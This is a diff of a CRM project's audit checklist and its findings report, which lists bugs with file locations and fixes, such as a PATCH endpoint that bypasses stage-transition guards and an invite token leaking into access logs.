| P-12 | Worker queue throughput under load | M | 🟡 | ❓ |
|
||||
| P-13 | Search FTS query plan (uses GIN index?) | S | 🟡 | ❓ |
|
||||
| P-14 | API response size budget (paginated list ≤ 256 KB) | XS | 🟢 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 10. Documents / files
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ---- | ----------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| D-01 | Upload via drag-drop on hub root (A16 — broken) | XS | 🟠 | ❌ |
|
||||
| D-02 | Upload via drag-drop on entity folder | S | 🟠 | ❓ |
|
||||
| D-03 | Upload via file picker on dialog | XS | 🟠 | ❌ (A16) |
|
||||
| D-04 | PDF preview inline | S | 🟢 | ❓ |
|
||||
| D-05 | Image preview inline (jpg, png, webp, gif) | S | 🟢 | ❓ |
|
||||
| D-06 | Word / Excel: download fallback | XS | 🟢 | ❓ |
|
||||
| D-07 | Signed PDF download from completed workflow | S | 🟠 | ❓ |
|
||||
| D-08 | Folder soft-rescue on delete (children re-parent) | S | 🟠 | ❓ |
|
||||
| D-09 | Folder rename → entity name sync | S | 🟡 | ❓ |
|
||||
| D-10 | Folder move cycle prevention | S | 🟡 | ❓ |
|
||||
| D-11 | Folder permission: system folders immutable through API | S | 🟠 | ❓ |
|
||||
| D-12 | Aggregated entity view (Clients/Companies/Yachts subfolders) | S | 🟡 | ❓ |
|
||||
| D-13 | Hub root view: 3 cards (in-progress, files, completed) | S | 🟢 | ❓ |
|
||||
| D-14 | EntityFolderView: signing-in-progress + files | S | 🟢 | ❓ |
|
||||
| D-15 | "View signing details" link on signed file row | XS | 🟢 | ❓ |
|
||||
| D-16 | Auto-deposit on signing completion (resolves owner via Owner-wins chain) | M | 🟠 | ❓ |
|
||||
| D-17 | listFilesAggregatedByEntity walks Client↔Company↔Yacht reach symmetrically | M | 🟠 | ❓ |
|
||||
| D-18 | Folder URL state with `?folder=<uuid>` (F25 deep folder) | XS | 🟢 | ⚠️ |
|
||||
| D-19 | Concurrent ensureEntityFolder race-safety (partial unique index) | M | 🟡 | ❓ |
|
||||
| D-20 | Magic-byte verification on presign + post-upload paths | S | 🟠 | ✅ |
|
||||
| D-21 | Filename HTML-escape in fallback download link | XS | 🟡 | ❓ |
|
||||
| D-22 | File size > email_attach_threshold_mb → signed-URL link instead of attachment | M | 🟡 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 11. Audit log
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | --------------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| AU-01 | Every mutation creates an audit row (sample 10 endpoints) | M | 🟠 | ⚠️ |
|
||||
| AU-02 | Sensitive-field mask works (test: password rotation row) | S | 🟠 | ❓ |
|
||||
| AU-03 | FTS query returns expected results | S | 🟡 | ❓ |
|
||||
| AU-04 | Filter by action: only stage_change shows | XS | 🟢 | ❓ |
|
||||
| AU-05 | Filter by entity type: only berth/interest/etc shows | XS | 🟢 | ❓ |
|
||||
| AU-06 | Filter by user | XS | 🟢 | ❓ |
|
||||
| AU-07 | Filter by date range | XS | 🟢 | ❓ |
|
||||
| AU-08 | Diff display correctly highlights old vs new | S | 🟡 | ❓ |
|
||||
| AU-09 | "Reconcile" event tag visible in metadata | XS | 🟢 | ✅ |
|
||||
| AU-10 | Cascade events grouped or distinct? (e.g. archive client + auto-archive interest) | S | 🟡 | ❓ |
|
||||
| AU-11 | Permission-denied entries render readable (A1) | XS | 🟡 | ❌ |
|
||||
| AU-12 | Audit log export to CSV | S | 🟢 | ❓ |
|
||||
| AU-13 | Outcome-change action tag distinct from generic 'update' (R2-B finding) | S | 🟡 | ❓ |
|
||||
| AU-14 | Tier-mapping (audit_logs.audit_tier_map) — high-tier vs noise tier | S | 🟡 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 12. Email / SMTP / IMAP
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ---------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| EM-01 | Per-port SMTP override picks up | S | 🟠 | ❓ |
|
||||
| EM-02 | Default sales send-from (`sales@portnimara.com`) | XS | 🟢 | ❓ |
|
||||
| EM-03 | Default noreply send-from (`noreply@portnimara.com`) | XS | 🟢 | ❓ |
|
||||
| EM-04 | EMAIL_REDIRECT_TO in dev: subject prefix `[redirected from ...]` | XS | 🟡 | ❓ |
|
||||
| EM-05 | Branded template render (logo, blurred bg, max-w-600) | S | 🟢 | ❓ |
|
||||
| EM-06 | Reply-to override | XS | 🟡 | ❓ |
|
||||
| EM-07 | CC/BCC handling | S | 🟡 | ❓ |
|
||||
| EM-08 | Send rate limit 50/user/hour | XS | 🟡 | ❓ |
|
||||
| EM-09 | Send size > threshold falls back to signed link | M | 🟡 | ❓ |
|
||||
| EM-10 | IMAP bounce probe (`dev-imap-probe.ts`) | M | 🟢 | ❓ |
|
||||
| EM-11 | Bounce subject parse + interest linking | M | 🟡 | ❓ |
|
||||
| EM-12 | Document_sends audit row per send | S | 🟡 | ❓ |
|
||||
| EM-13 | Portal activation email arrives & token works | M | 🟠 | ❓ |
|
||||
| EM-14 | Reset-password email | S | 🟠 | ❓ |
|
||||
| EM-15 | Invite email | M | 🟠 | ❓ |
|
||||
| EM-16 | Reminder digest email | M | 🟢 | ❓ |
|
||||
| EM-17 | EOI generated PDF attached or inline? | S | 🟡 | ❓ |
|
||||
| EM-18 | Outbound email markdown body XSS (verified) | S | 🟠 | ✅ |
|
||||
| EM-19 | Subject override CSP/XSS | S | 🟠 | ✅ |
|
||||
|
||||
---
|
||||
|
||||
## 13. Integrations
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | --------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| IN-01 | Documenso send EOI via v1 template-generate | M | 🟠 | ❓ |
|
||||
| IN-02 | Documenso v2 envelope/create multipart | M | 🟠 | ❓ |
|
||||
| IN-03 | Documenso distribute (v2) | S | 🟠 | ❓ |
|
||||
| IN-04 | Documenso redistribute / send reminder | S | 🟡 | ❓ |
|
||||
| IN-05 | Documenso downloadSignedPdf | S | 🟠 | ❓ |
|
||||
| IN-06 | Documenso voidDocument | S | 🟡 | ❓ |
|
||||
| IN-07 | Documenso placeFields (v2 field/create-many) | M | 🟡 | ❓ |
|
||||
| IN-08 | Documenso normalizeDocument id ↔ documentId | XS | 🟡 | ❓ |
|
||||
| IN-09 | NocoDB import idempotency | S | 🟡 | ❓ |
|
||||
| IN-10 | S3 / MinIO upload + download | S | 🟠 | ❓ |
|
||||
| IN-11 | S3 presigned URL expiry | XS | 🟡 | ❓ |
|
||||
| IN-12 | Filesystem backend: MULTI_NODE_DEPLOYMENT guard | XS | 🟠 | ❓ |
|
||||
| IN-13 | BullMQ job retry on failure | S | 🟡 | ❓ |
|
||||
| IN-14 | BullMQ Redis `noeviction` policy (verified) | XS | 🟠 | ✅ |
|
||||
| IN-15 | Worker process boot + queue subscribe | S | 🟠 | ❓ |
|
||||
| IN-16 | Public berths API: anon cache headers | XS | 🟢 | ❓ |
|
||||
| IN-17 | Public berths API: status filter (`Under Offer`, `Sold`, `Available`) | S | 🟡 | ❓ |
|
||||
| IN-18 | Public berths single endpoint via mooringNumber (canonical format) | S | 🟡 | ❓ |
|
||||
| IN-19 | Public health anonymous mode (verified A26) | XS | 🟡 | ✅ |
|
||||
| IN-20 | Public health secret mode (verified A26) | XS | 🟡 | ✅ |
|
||||
| IN-21 | OpenAI / AI parser credentials test | S | 🟡 | ❓ |
|
||||
| IN-22 | Tesseract OCR positional heuristics on per-berth PDF | M | 🟡 | ❓ |
|
||||
| IN-23 | Receipt OCR: full receipt parse end-to-end | M | 🟡 | ❓ |
|
||||
| IN-24 | Pdfme PDF generation (any per-port template) | M | 🟡 | ❓ |
|
||||
| IN-25 | PDF-lib AcroForm fill (in-app EOI pathway) | M | 🟠 | ❓ |
|
||||
| IN-26 | EOI merge token expansion (`{{eoi.berthRange}}` etc) | S | 🟠 | ❓ |
|
||||
| IN-27 | Berth-range formatter (single + multi-berth) | S | 🟡 | ❓ |
|
||||
| IN-28 | Portal magic-link consume | S | 🟠 | ❓ |
|
||||
| IN-29 | Umami analytics widget render | XS | 🟢 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 14. Schema / migration
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ------------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| SC-01 | All migrations idempotent (re-run safe) | M | 🟠 | ❓ |
|
||||
| SC-02 | All FKs have ON DELETE behaviour spec'd (CASCADE, SET NULL, RESTRICT) | S | 🟠 | ❓ |
|
||||
| SC-03 | All soft-delete columns indexed (`archivedAt IS NULL`) | S | 🟡 | ❓ |
|
||||
| SC-04 | All search columns have GIN/FTS indexes | S | 🟡 | ❓ |
|
||||
| SC-05 | Composite unique constraints (sibling folder name, default brochure) | S | 🟡 | ❓ |
|
||||
| SC-06 | Partial unique constraints (entity-folder, isPrimary) | S | 🟡 | ❓ |
|
||||
| SC-07 | CHECK constraints (chk_system_folder_shape) | XS | 🟢 | ❓ |
|
||||
| SC-08 | Generated column accuracy (FTS search_text) | S | 🟡 | ❓ |
|
||||
| SC-09 | Column nullability matches Drizzle schema | M | 🟡 | ❓ |
|
||||
| SC-10 | Schema migration restart-after-push (CLAUDE.md gotcha) | XS | 🟠 | ❓ |
|
||||
| SC-11 | Backfill scripts idempotent (`backfill-document-folders.ts`) | S | 🟡 | ❓ |
|
||||
| SC-12 | Legacy enum migration drift (every place that compared against an old value) | M | 🟠 | ❓ |
|
||||
| SC-13 | Currency code enum | XS | 🟡 | ❓ |
|
||||
| SC-14 | Address-component enum | XS | 🟢 | ❓ |
|
||||
| SC-15 | Polymorphic owner: every read-site uses the service helper, not raw column read | M | 🟠 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 15. i18n / l10n
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ---- | ---------------------------------------------- | ------ | -------- | -------- |
|
||||
| L-01 | Currency formatting per locale | S | 🟢 | ❓ |
|
||||
| L-02 | Date formatting per timezone | S | 🟢 | ❓ |
|
||||
| L-03 | Number formatting (1,000.5 vs 1.000,5) | S | 🟢 | ❓ |
|
||||
| L-04 | Plural forms | S | 🟢 | ❓ |
|
||||
| L-05 | RTL support (test with Arabic UA) | S | 🟢 | ❓ |
|
||||
| L-06 | Translation completeness (Phase C status) | M | 🟢 | ❓ |
|
||||
| L-07 | next-intl messages.json coverage | S | 🟢 | ❓ |
|
||||
| L-08 | Server-rendered locale match (Accept-Language) | S | 🟢 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 16. Browser / device
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | --------------------------------------------------- | ------ | -------- | -------- |
|
||||
| BR-01 | Safari (macOS) primary flows | M | 🟡 | ❓ |
|
||||
| BR-02 | Safari (iOS) primary flows | M | 🟡 | ❓ |
|
||||
| BR-03 | Firefox (latest) | M | 🟢 | ❓ |
|
||||
| BR-04 | Edge (latest) | M | 🟢 | ❓ |
|
||||
| BR-05 | Chrome (latest) — primary | S | 🟢 | ✅ |
|
||||
| BR-06 | iPad (Safari) — tier "click" via computer-use rules | M | 🟢 | ❓ |
|
||||
| BR-07 | Print stylesheet (interest detail, invoice) | S | 🟢 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 17. Specific behavioral correctness checks
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ---- | ----------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | ----------- |
|
||||
| B-01 | Berth A1 hard-deleted earlier; confirm no 404 anywhere (interests' linked-berth, public feed, recommender) | M | 🟠 | ❓ |
|
||||
| B-02 | Sara Laurent interest in stage=contract WITHOUT yachtId → render correctness | XS | 🟡 | ❓ |
|
||||
| B-03 | Outcome-set interests filtered from active queries via `activeInterestsWhere` | S | 🟠 | ❓ |
|
||||
| B-04 | EOI bundle range formatter: `A1-A3, B5` for non-contiguous berths | S | 🟡 | ❓ |
|
||||
| B-05 | EOI single-berth case formats to just mooring (`A1`) | XS | 🟢 | ❓ |
|
||||
| B-06 | Activity timeline 7-day window inclusive of today | XS | 🟢 | ✅ (F2 fix) |
|
||||
| B-07 | Heat-scoring tier B only fires for lost/cancelled-only history | M | 🟡 | ❓ |
|
||||
| B-08 | Permission-denied audit row sequencing (does denied API call still log?) | S | 🟡 | ❓ |
|
||||
| B-09 | Same-stage no-op DOES NOT emit audit/socket event (F27) | S | 🟢 | ⚠️ |
|
||||
| B-10 | Documenso webhook with empty body / malformed payload | S | 🟠 | ❓ |
|
||||
| B-11 | Berth status_override_mode transitions through automated → manual → null | M | 🟡 | ❓ |
|
||||
| B-12 | Reconcile clear stamps reason correctly with interest id (verified) | XS | 🟢 | ✅ |
|
||||
| B-13 | Catch-up wizard "contract" stage auto-sets `outcome=won` | S | 🟡 | ❓ |
|
||||
| B-14 | Catch-up wizard surfaces in API audit log as `reconcile_manual` type | XS | 🟢 | ✅ |
|
||||
| B-15 | Mobile shell when initialFormFactor is wrong (Playwright UA = desktop, viewport = mobile) — shell ends up correct after mount | XS | 🟢 | ✅ |
|
||||
| B-16 | Resizing across breakpoint mid-form-edit: state preservation? | S | 🟡 | ❓ |
|
||||
| B-17 | Berths bulk-add wizard: step transitions persist input | M | 🟡 | ❓ |
|
||||
| B-18 | NotesList polymorphic across all 4 entity types (clients, interests, yachts, companies) | S | 🟡 | ❓ |
|
||||
| B-19 | InlineEditableField on every detail page works | M | 🟡 | ❓ |
|
||||
| B-20 | InlineTagEditor: focus management (F45 verified) | S | 🟢 | ⚠️ |
|
||||
| B-21 | OwnerPicker: client+company tabs render correctly (F44 verified) | XS | 🟢 | ✅ |
|
||||
| B-22 | Mark externally signed sets `documentId=null`, `signedAt=now` | S | 🟡 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## 18. Data-clean-up jobs
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| DC-01 | Orphan-blob cleanup on document delete | S | 🟠 | ❓ |
|
||||
| DC-02 | Soft-deleted entities older than X days hard-purged | M | 🟡 | ❓ |
|
||||
| DC-03 | Test entities in DB (per prior audit notes): `Smoke Test Client (renamed)`, `Aurora Marine Holdings Ltd`, `Bad Email Test`, `Phone Test`, `François 🏄 المعتمد`, `CSRF Test`, etc — `db:reseed:synthetic`? | S | 🟢 | ❓ |
|
||||
| DC-04 | Berth A1 hard-deletion in port-amador: was that recovered? | S | 🟡 | ❓ |
|
||||
| DC-05 | Legacy `statusOverrideMode = "auto"` normalize migration | XS | 🟢 | ❌ (A8) |
|
||||
|
||||
---
|
||||
|
||||
## 19. CI / dev experience
|
||||
|
||||
| ID | Check | Effort | Severity | Coverage |
|
||||
| ----- | ---------------------------------------------------------------- | ------ | -------- | -------- |
|
||||
| CI-01 | Husky lint-staged blocks bad commits | XS | 🟢 | ✅ |
|
||||
| CI-02 | `pnpm exec tsc --noEmit` clean | XS | 🟢 | ✅ |
|
||||
| CI-03 | `pnpm lint` zero errors | XS | 🟢 | ✅ |
|
||||
| CI-04 | `pnpm exec vitest run` 1373/1373 pass | S | 🟢 | ✅ |
|
||||
| CI-05 | `pnpm exec playwright test --project=smoke` ~10min | M | 🟢 | ❓ |
|
||||
| CI-06 | `pnpm exec playwright test --project=destructive` | M | 🟢 | ❓ |
|
||||
| CI-07 | `pnpm exec playwright test --project=realapi` (Documenso + IMAP) | M | 🟢 | ❓ |
|
||||
| CI-08 | `pnpm exec playwright test --project=visual` baselines current | S | 🟢 | ❓ |
|
||||
| CI-09 | Gitea CI lint + build-and-push workflows | S | 🟢 | ❓ |
|
||||
| CI-10 | Docker prod build succeeds | M | 🟠 | ❓ |
|
||||
| CI-11 | docker-compose dev startup with all services | S | 🟢 | ❓ |
|
||||
| CI-12 | Pre-commit hook also blocks `.env*` files | XS | 🟢 | ❓ |
|
||||
| CI-13 | `SKIP_ENV_VALIDATION=1` actually bypasses in Docker build | XS | 🟢 | ❓ |
|
||||
|
||||
---
|
||||
|
||||
## Recommendation: priority short-list
|
||||
|
||||
If we want maximum coverage with limited time, I'd pick:
|
||||
|
||||
### Tier 0 — fix what's already known (from A1-A20)
|
||||
|
||||
- A4 (client form silent-fail)
|
||||
- A16 (file upload null vs string)
|
||||
- A17 (/admin/ports bootstrap)
|
||||
- A19 (F27 204 implementation)
|
||||
- A9 (catch-up wizard stage default)
|
||||
- A1/A2 (activity feed labels)
|
||||
|
||||
### Tier 1 — discover new
|
||||
|
||||
- **L-001** through **L-020** — legacy stage enum hunt (the user's specific concern)
|
||||
- **W-001** — full end-to-end happy-path workflow (one full deal)
|
||||
- **U-001** through **U-013** — every empty state surface
|
||||
- **MT-01-11** — multi-tenancy cross-port checks (full sweep)
|
||||
- **AU-01-14** — audit log surface (search, filters, mask, FTS)
|
||||
- **U-021-039** — form design sweep across major forms
|
||||
|
||||
### Tier 2 — fill in coverage
|
||||
|
||||
- **R-001-030** — route correctness
|
||||
- **AD-\* (admin pages)** — at least one mutation per admin section to confirm wiring
|
||||
- **D-01-22** — documents/files end-to-end
|
||||
|
||||
### Tier 3 — depth checks
|
||||
|
||||
- **S-\* (security)** — penetration sweep
|
||||
- **P-\* (performance)** — load + LCP + N+1
|
||||
- **W-011-052** — every edge-case workflow
|
||||
|
||||
---
|
||||
|
||||
**Total surfaces catalogued:** 320+ discrete checks across 19 areas.
|
||||
|
||||
Pick what you want and I'll run it.
|
||||
@@ -1,335 +0,0 @@
|
||||
# Comprehensive Audit Findings — 2026-05-15
|
||||
|
||||
Discovery pass across all 19 areas of `docs/AUDIT-CATALOG.md`. Code-side via 9 parallel sub-agents + browser sweep via Playwright MCP. Per-agent raw output cached under `docs/audit-findings-tmp/`.
|
||||
|
||||
## Scoreboard
|
||||
|
||||
| Severity | Count |
|
||||
| ----------- | ------ |
|
||||
| 🔴 CRITICAL | 3 |
|
||||
| 🟠 HIGH | 15 |
|
||||
| 🟡 MEDIUM | 48 |
|
||||
| 🟢 LOW | 8 |
|
||||
| **Total** | **74** |
|
||||
|
||||
The 3 critical and the most actionable HIGH issues should head the next fix wave.
|
||||
|
||||
---
|
||||
|
||||
## 🔴 CRITICAL
|
||||
|
||||
### C-01 (B-01) — INNER JOIN on hard-deleted berth silently drops interest→berth links
|
||||
|
||||
- **Files:** `src/lib/services/interest-berths.service.ts:55` (`getPrimaryBerth`), `:87` (`getPrimaryBerthsForInterests`), `:140` (`listBerthsForInterest`)
|
||||
- **What:** Three helpers use `INNER JOIN berths ON berths.id = interestBerths.berthId`. Hard-deleting a berth makes the join silently drop the row.
|
||||
- **Impact:** Interest detail shows `berthId: null` / `berthMooringNumber: null`. Kanban card shows no berth chip. EOI generation produces empty mooring field. `archiveInterest` calls `getPrimaryBerth` before evaluating the berth rule — null result causes the rule to be **skipped entirely**.
|
||||
- **Fix:** Switch all three to `LEFT JOIN berths`. Callers already handle null. Add service-layer guard preventing hard-delete of berths with `interest_berths` rows (require unlink or soft-archive first).
|
||||
|
||||
### C-02 (R-021) — `/setup` missing from `PUBLIC_PATHS` — bootstrap unreachable on fresh DB
|
||||
|
||||
- **File:** `src/proxy.ts:51-73`
|
||||
- **What:** `PUBLIC_PATHS` includes `/api/v1/bootstrap/` but NOT `/setup`. Unauthenticated user → `/setup` → middleware redirects to `/login?redirect=/setup`. Login useEffect fetches bootstrap status, calls `router.replace('/setup')` → middleware again → infinite redirect loop.
|
||||
- **Impact:** Fresh deployment (no super admin) is functionally deadlocked. The first operator cannot reach setup without already having a session — impossible on a fresh DB.
|
||||
- **Fix:** Add `'/setup'` to `PUBLIC_PATHS`. `POST /api/v1/bootstrap/super-admin` already self-protects with `hasAnySuperAdmin()`.
|
||||
- **Browser-verified:** Navigating to `/setup` unauthenticated redirects to `/login` (no `?redirect=` even). The bootstrap-status check at `src/app/(auth)/login/page.tsx:41` confirms: `if (payload.data?.needsBootstrap) router.replace('/setup');` — feeds the loop on fresh DB.
|
||||
|
||||
### C-03 (NEW, browser-discovered) — Generic `PATCH /api/v1/interests/[id]` bypasses ALL stage-transition guards
|
||||
|
||||
- **Files:** `src/app/api/v1/interests/[id]/route.ts:20-32` (calls `updateInterest`); `src/lib/services/interests.service.ts:701` (`updateInterest`); `src/lib/validators/interests.ts:68,90` (`pipelineStage` flows through `updateInterestSchema` to the service)
|
||||
- **What:** The `/stage` endpoint (`src/app/api/v1/interests/[id]/stage/route.ts`) calls `changeInterestStage` which enforces `STAGE_NOOP` early-return, `canTransitionStage()` table guard, override-requires-permission, and override-requires-≥5-char-reason. The generic PATCH endpoint calls `updateInterest` which writes the full payload (incl. `pipelineStage`) directly to the DB with **none** of those guards.
|
||||
- **Browser proof:**
|
||||
- PATCH `/api/v1/interests/<deposit-paid-id>` with `{ pipelineStage: 'enquiry' }` → **200 OK**, interest demoted to enquiry. (Same call via `/stage` correctly returned 400 with "Cannot move from Deposit Paid directly to New Enquiry. Use the override option ...".)
|
||||
- PATCH `/api/v1/interests/<eoi-id>` with `{ pipelineStage: 'eoi' }` (same-stage) → **200 with full 1249-byte body** instead of 204. F27 fix only works through `/stage`.
|
||||
- Backwards write via generic PATCH leaves `eoiDocStatus: 'sent'` while `pipelineStage = 'enquiry'` — corrupted state.
|
||||
- Audit row written as generic `action: 'update'` with diff, not `action: 'stage_change'` with proper metadata. Webhook event `interest:updated` not `interest:stageChanged`.
|
||||
- **Impact:** Any caller (rep tool, integration, mistake in frontend) hitting the generic PATCH can drive an interest to any stage with no override permission, no reason, no audit-as-stage-change. Same-stage spam fires no-op writes that bump `updated_at` and emit redundant socket+webhook events. The corrupted-state surface (stage rolled back but doc-status still says signed) breaks downstream rules-engine evaluations that branch on stage.
|
||||
- **Fix:** In `updateInterestSchema`, omit `pipelineStage` (force callers to use `/stage`); OR in `updateInterest`, when `pipelineStage` is in the payload, delegate to `changeInterestStage` with the full guard chain. Either prevents the bypass surface from existing.
|
||||
|
||||
---
|
||||
|
||||
## 🟠 HIGH
|
||||
|
||||
### H-01 (SC-02) — Multiple FKs `ON DELETE NO ACTION` while Drizzle declares them nullable
|
||||
|
||||
- **Files:** `src/lib/db/schema/interests.ts:29,32` (portId/clientId); `src/lib/db/schema/documents.ts:72,85,86,176` (clientId/fileId/signedFileId/signerId); `src/lib/db/schema/reservations.ts:18,24,25,27,28,33` (all 6 berthReservations FKs); `src/lib/db/schema/operations.ts:25` (reminders.clientId); `src/lib/db/schema/financial.ts:120` (invoices.pdfFileId)
|
||||
- **What:** `.references(...)` without `{ onDelete }` emits `ON DELETE NO ACTION`. Hard-deleting a parent (client, berth, yacht, file) blocks at FK level.
|
||||
- **Fix:** Add `{ onDelete: 'set null' }` for nullable FKs that should tolerate parent deletion; explicit `{ onDelete: 'restrict' }` for those that intentionally block (`interests.clientId` design intent is archive-first).
|
||||
|
||||
### H-02 (R-017/018) — CRM post-login redirect ignores `?redirect=` param
|
||||
|
||||
- **File:** `src/app/(auth)/login/page.tsx:79`
|
||||
- **What:** Middleware redirects unauthenticated → `/login?redirect=<path>`. Login page never reads `useSearchParams()`; always `router.push('/dashboard')`.
|
||||
- **Impact:** Email/bookmark/shared deep links into specific clients/interests silently dump to dashboard.
|
||||
- **Fix:** Read `searchParams.get('redirect')`, validate same-origin (`startsWith('/')`, not `'//'`), use as push target.
|
||||
|
||||
### H-03 (R-023) — CRM invite token in query string leaks to access logs
|
||||
|
||||
- **File:** `src/lib/services/crm-invite.service.ts:71,233`
|
||||
- **What:** `${env.APP_URL}/set-password?token=${raw}` — raw 32-byte token in query param. Portal flow was migrated to `#token=` fragment in 2026-05-14 specifically to keep tokens out of logs/Referer; CRM invite path missed the migration.
|
||||
- **Impact:** Every nginx/Caddy access log line for `GET /set-password?token=<raw>` persists token to disk. Forwarded to SIEM/S3/monitoring → token visible to anyone with log access. Token grants account creation.
|
||||
- **Fix:** Change `createCrmInvite` + `resendCrmInvite` to emit `${env.APP_URL}/set-password#token=${encodeURIComponent(raw)}`. Update `set-password/page.tsx` to use the fragment-reading pattern from `PasswordSetForm` (`readTokenFromUrl()`) with `?token=` back-compat for outstanding tokens.
|
||||
|
||||
### H-04 (R-029) — `sign-in-by-identifier` 429 missing `Retry-After`
|
||||
|
||||
- **File:** `src/app/api/auth/sign-in-by-identifier/route.ts:47-51`
|
||||
- **What:** Builds 429 response with `headers: rateLimitHeaders(rl)` which only emits `X-RateLimit-Limit/Remaining/Reset`. `enforcePublicRateLimit` adds `Retry-After`; this route uses `checkRateLimit` directly and skips it.
|
||||
- **Impact:** RFC 6585 §4 violation. Automated clients can't back off correctly.
|
||||
- **Fix:** Add `'Retry-After': Math.max(1, Math.ceil((rl.resetAt - Date.now()) / 1000)).toString()`.
|
||||
|
||||
### H-05 (AU-01a) — `toggleAccount` writes no audit row
|
||||
|
||||
- **File:** `src/lib/services/email-accounts.service.ts:86-116`
|
||||
- **What:** Sets `isActive` on email account with no `createAuditLog` call. `connectAccount` (line 70) and `disconnectAccount` (line 139) do, but enable/disable in between is silent.
|
||||
- **Impact:** Silently disabling an email account suppresses bounce-detection or reroutes replies — compliance gap on a security-relevant config change.
|
||||
- **Fix:** Add `void createAuditLog({ action: 'update', entityType: 'email_account', entityId: accountId, newValue: { isActive: data.isActive }, ... })` inside `toggleAccount`.
|
||||
|
||||
### H-06 (AU-02) — Encrypted credential ciphertext stored in audit log without masking
|
||||
|
||||
- **Files:** `src/lib/services/settings.service.ts:66-76` + `src/lib/services/sales-email-config.service.ts:281-299`
|
||||
- **What:** `updateSalesEmailConfig` calls `upsertSetting('sales_smtp_pass_encrypted', <ciphertext>, portId, meta)`. `upsertSetting` records `newValue: { value: '<ciphertext>' }`. `maskSensitiveFields` checks JSON keys against `SENSITIVE_KEY_FRAGMENTS`; the wrapping key `"value"` isn't in the list. Ciphertext lands verbatim in `audit_logs.new_value`.
|
||||
- **Impact:** Audit log readable by all admins with `admin.view_audit_log`. DB read access exfils ciphertext; if `EMAIL_CREDENTIAL_KEY` is ever compromised, the historical audit log becomes a credential store.
|
||||
- **Fix:** In `upsertSetting`, detect when key ends with `_encrypted` (or accept `redactValue?: boolean`) and record `newValue: { value: '[redacted]' }`.
|
||||
|
||||
### H-07 (AU-10) — Cascade-archived interests produce no individual audit rows
|
||||
|
||||
- **File:** `src/lib/services/clients.service.ts:578-618`
|
||||
- **What:** `archiveClient` batch-archives open interests, writes ONE `entityType: 'client'` row with `newValue: { cascadedInterestIds: [...] }`. No per-interest rows. `search_text` doesn't include `new_value`, so searching for an interest ID returns nothing.
|
||||
- **Impact:** Auditor querying for a specific archived interest sees no archive event; must know to look at parent client row.
|
||||
- **Fix:** Loop over `archivedInterestIds` and emit per-interest `createAuditLog({ action: 'archive', entityType: 'interest', entityId, metadata: { cascadeSource: 'client_archive', clientId } })` (fire-and-forget).
|
||||
|
||||
### H-08 (EM-XX) — Sales transporter missing SMTP timeouts
|
||||
|
||||
- **File:** `src/lib/services/sales-email-config.service.ts:331-337`
|
||||
- **What:** `createSalesTransporter` builds nodemailer transport with no timeout options. Compare `createTransporter` in `src/lib/email/index.ts:26-37` which uses `SMTP_TIMEOUTS = { connectionTimeout: 10_000, greetingTimeout: 10_000, socketTimeout: 30_000 }`.
|
||||
- **Impact:** Hung SMTP relay can stall send-out indefinitely. Email queue concurrency=5, maxAttempts=5. One stuck TCP connection → 2-min default × 5 retries = 10min/job × 5 slots = whole pool blocked for 10min by a single flaky send.
|
||||
- **Fix:** Apply `SMTP_TIMEOUTS` constant to `nodemailer.createTransport` in `createSalesTransporter`.
|
||||
|
||||
### H-09 (B-16) — AppShell remounts children on breakpoint crossing, destroying form state
|
||||
|
||||
- **File:** `src/components/layout/app-shell.tsx:58-70`
|
||||
- **What:** When `isMobile` flips on resize, the shell switches between `<MobileLayout>{children}</MobileLayout>` and the desktop `<div>...{children}...</div>`. React unmounts and remounts `children`, destroying any in-progress `useState` form drafts including `InlineEditableField`.
|
||||
- **Impact:** User editing a client name on desktop who resizes past mobile breakpoint loses unsaved draft text. Multi-step modal forms (reconcile wizard) open during resize get unmounted.
|
||||
- **Fix:** Wrap shared content with stable `key`, or use CSS-only responsive layout so children subtree never remounts. Alternatively `key={isMobile ? 'mobile' : 'desktop'}` only on shell wrappers with `children` stable via Portal.
|
||||
|
||||
### H-10 (U-059) — Unicode glyphs as status icons in portal documents page
|
||||
|
||||
- **File:** `src/app/(portal)/portal/documents/page.tsx:85-89`
|
||||
- **What:** Signer status rendered as raw Unicode (`'✓'` signed, `'✗'` declined, `'○'` pending) inside colour-coded `<span>` with no `aria-label`.
|
||||
- **Impact:** Screen readers read literal Unicode names. Project memory: decorative unicode glyphs explicitly flagged. `inline-stage-picker.tsx:443` comment confirms the pattern ("was ⚑ unicode glyph — replaced with a Lucide").
|
||||
- **Fix:** Replace with `<CheckCircle2>` / `<XCircle>` / `<Circle>` Lucide icons + `aria-label`.
|
||||
|
||||
### H-11 (U-066) — Vaul Drawer used for mobile search overlay (violates Sheet doctrine)
|
||||
|
||||
- **File:** `src/components/search/mobile-search-overlay.tsx:6`
|
||||
- **What:** `import { Drawer as VaulDrawer } from 'vaul'`. Search overlay is full-screen, not a bottom sheet. CLAUDE.md: Vaul reserved for mobile-bottom-sheet only (currently `MoreSheet` only).
|
||||
- **Fix:** Convert to `<Sheet side="bottom">` or `<Dialog>` fullscreen. Custom visualViewport handling (lines 50-89) becomes redundant with Radix dialog backing.
|
||||
|
||||
